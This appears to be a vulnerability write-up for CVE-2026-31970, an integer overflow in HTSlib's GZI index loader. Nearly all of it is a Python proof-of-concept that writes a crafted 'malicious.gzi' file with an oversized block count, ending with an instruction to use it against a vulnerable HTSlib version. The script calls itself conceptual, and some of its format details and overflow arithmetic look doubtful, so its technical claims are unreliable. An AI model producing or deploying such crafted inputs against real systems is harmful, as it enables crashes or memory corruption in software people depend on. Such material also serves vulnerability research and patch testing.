CVE-2026-31970 HTSlib GZI索引加载整数溢出漏洞

#!/usr/bin/env python3 """ CVE-2026-31970 PoC - HTSlib GZI Integer Overflow This PoC generates a malicious GZI file that triggers integer overflow in bgzf_index_load_hfile() function. Note: This is a conceptual PoC for demonstration purposes. """ import struct import sys def create_malicious_gzi(): """ Create a malicious GZI file that triggers integer overflow. The overflow occurs when the index loading function calculates buffer size without proper overflow checks. """ # GZI file header format: # magic (4 bytes) + version (4 bytes) + num_blocks (8 bytes) # + block offsets and sizes # Crafted data that triggers integer overflow # When num_blocks * sizeof(entry) overflows, buffer will be undersized malicious_data = bytearray() # GZI magic number malicious_data += b'GZI\x00' # Version malicious_data += struct.pack('<I', 1) # Crafted block count that causes overflow when multiplied # Using a value that when multiplied by entry size (16 or 24 bytes) # wraps around to a small number block_count = 0x10000001 # This will overflow when calculating buffer size malicious_data += struct.pack('<Q', block_count) # Write malicious GZI file with open('malicious.gzi', 'wb') as f: f.write(malicious_data) print(f"[+] Created malicious GZI file with block_count={hex(block_count)}") print(f"[+] When block_count * sizeof(entry) overflows, buffer will be too small") if __name__ == '__main__': create_malicious_gzi() print("[+] PoC generated. Use with vulnerable HTSlib version.")